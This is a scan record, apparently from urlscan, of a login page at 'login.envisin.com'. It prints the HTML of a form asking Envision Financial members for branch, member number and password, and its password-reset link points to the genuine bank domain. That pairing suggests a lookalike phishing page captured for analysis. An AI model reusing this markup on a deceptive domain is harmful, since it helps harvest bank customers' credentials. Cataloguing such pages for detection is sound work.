login.envisin.com Open in urlscan Pro
2606:4700:3032::6815:2a28  Public Scan

Form analysis
1 forms found in the DOM

Name: uxpLoginForm — POST

<form id="loginForm" name="uxpLoginForm" class="center-block c1-login-form ng-pristine ng-invalid ng-invalid-uxp-pattern ng-invalid-required ng-valid-minlength ng-valid-maxlength" action="" method="post" autocomplete="on">
  <div>
    <div ng-form="memorizedLoginsForm" ng-show="showingMemorizedAccounts()" class="memorized-login-selector memorized-login-selector ng-pristine ng-valid ng-hide" id="c1-memorized-login-selector" ng-init="memorizedAccounts=[];">
      <div class="logo text-center">
        <img src="/static/img/logo.png" alt="Logo">
      </div>
      <h4 class="c1-page-title memorized-login-title">Choose a Login Profile</h4>
      <p class="form-instructions"></p>
      <ul class="memorized-login-list">
      </ul>
    </div>
    <div ng-form="newLoginForm" ng-hide="showingMemorizedAccounts()" class="ng-pristine ng-invalid ng-invalid-uxp-pattern ng-invalid-required ng-valid-minlength ng-valid-maxlength">
      <div class="logo text-center">
        <img src="/static/img/logo.png" alt="Logo">
      </div>
      <div class="form-group ng-hide" ng-show="selectedMemorizedAccount.nickname">
        <h4></h4>
      </div>
      <div class="login-id-fields" ng-show="!state.usingMemorizedUser">
        <div class="new-login-fields">
          <div class="form-group">
            <label class="select-label" for="branchSelect">
              <span id="branchlabel">Branch</span>
              <select ng-if="!state.usingMemorizedUser" ng-options="branch.value as branch.name for branch in branches track by branch.value" id="branchSelect" name="branch"
                class="form-control ng-pristine ng-scope ng-empty ng-invalid ng-invalid-uxp-pattern ng-valid-required ng-touched" uxp-pattern="^\d+$" ng-required="required" tsv-autofocus="autofocus" aria-required="true" branch-reset="true">
                <option value="" disabled="disabled" hidden="hidden" class="" selected="selected">Select a Branch</option>
                <option label="Abbotsford Village" value="Abbotsford Village">Abbotsford Village</option>
                <option label="Admin" value="Admin">Admin</option>
                <option label="Chilliwack City" value="Chilliwack City">Chilliwack City</option>
                <option label="Cloverdale" value="Cloverdale">Cloverdale</option>
                <option label="Fleetwood" value="Fleetwood">Fleetwood</option>
                <option label="Garrison Village" value="Garrison Village">Garrison Village</option>
                <option label="High Street" value="High Street">High Street</option>
                <option label="Hope" value="Hope">Hope</option>
                <option label="Ladner" value="Ladner">Ladner</option>
                <option label="Mission" value="Mission">Mission</option>
                <option label="Newton" value="Newton">Newton</option>
                <option label="North Delta" value="North Delta">North Delta</option>
                <option label="Ridge Meadows" value="Ridge Meadows">Ridge Meadows</option>
                <option label="Sardis" value="Sardis">Sardis</option>
                <option label="Snow Valley" value="Snow Valley">Snow Valley</option>
                <option label="South Point" value="South Point">South Point</option>
                <option label="Sunshine Hills" value="Sunshine Hills">Sunshine Hills</option>
                <option label="Sunwood" value="Sunwood">Sunwood</option>
                <option label="Town Centre" value="Town Centre">Town Centre</option>
                <option label="Tsawwassen" value="Tsawwassen">Tsawwassen</option>
                <option label="Willoughby" value="Willoughby">Willoughby</option>
                <option label="Yarrow" value="Yarrow">Yarrow</option>
              </select>
              <i class="dropdown-icon" tabindex="-1" aria-hidden="true" id="fuc"></i>
            </label>
          </div>
          <div ng-if="!state.usingMemorizedUser" class="ng-scope form-group">
            <div class="text-input is-empty">
              <label for="login">
                <span id="accountno" aria-hidden="true">Login ID / Member Number</span>
                <input aria-labelledby="accountno" class="form-control ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-uxp-pattern ng-valid-required ng-valid-maxlength" id="memberNum" name="login" type="text" maxlength="12"
                  uxp-pattern="^\d{1,12}$|^D\d{7}$" required="" data-uxp-required-error-message="Please enter your Login ID / Member Number." data-uxp-mismatched-error-message="You have entered an invalid Login ID / Member Number. Please try again."
                  ng-required="required" ng-model-options="{allowInvalid: true}" ng-change="isFieldChanged()" aria-describedby="branchlabel branchno accountno memberNum memberNumError" autocomplete="username" aria-required="true" aria-invalid="false"
                  android-margin="" placeholder="Login ID / Member Number">
              </label>
            </div>
          </div>
        </div>
        <div class="memorized-login-fields">
        </div>
      </div>
      <div class="form-group" ng-class="{ 'is-invalid': isPasswordInvalid() }">
        <div ng-class="
                    [
                        'text-input',
                        {
                            'is-empty': !(uxpLoginForm.newLoginForm.password.$modelValue)
                        }
                    ]
                    " class="text-input is-empty">
          <label for="password">
            <span aria-hidden="true">Password</span>
            <input class="form-control ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-uxp-pattern ng-invalid-required" id="password" name="password" uxp-pattern="^.{5,16}$" ng-model-options="{allowInvalid: true}" ng-change="isFieldChanged()"
              data-uxp-required-error-message="Please enter your password." data-uxp-mismatched-error-message="You have entered an incorrect password. Please try again." ng-required="true" aria-invalid="false"
              aria-describedby="password passwordError" autocomplete="current-password" android-margin="" placeholder="Password" aria-label="Password" type="password" required="required">
          </label>
        </div>
      </div>
      <div class="form-group" ng-show="!state.usingMemorizedUser">
        <div class="checkbox">
          <label for="rememberLogin" class="rememberMeCheckboxLabel">
            <input class="form-control ng-pristine ng-untouched ng-valid ng-empty" type="checkbox" id="rememberLogin" name="remember-login-credentials" value="true"> <span class="remember-me-input-label">Remember Me</span>
          </label>
        </div>
      </div>
      <div class="text-center c1-btn-container">
        <button ng-disabled="uxpLoginForm.$invalid || state.isSubmittingForm" type="submit" id="loginSubmit" disabled="">Log In </button>
      </div>
      <div class="c1-btn-container memorized-btn-container">
        <div>
          <a href="https://login.envisionfinancial.ca/forgotPac">Forgot Password?</a>
        </div>
      </div>
    </div>
  </div>
</form>

Text Content

CHOOSE A LOGIN PROFILE



Branch Select a Branch Abbotsford Village Admin Chilliwack City Cloverdale
Fleetwood Garrison Village High Street Hope Ladner Mission Newton North Delta
Ridge Meadows Sardis Snow Valley South Point Sunshine Hills Sunwood Town Centre
Tsawwassen Willoughby Yarrow
Login ID / Member Number

Password
Remember Me
Log In
Forgot Password?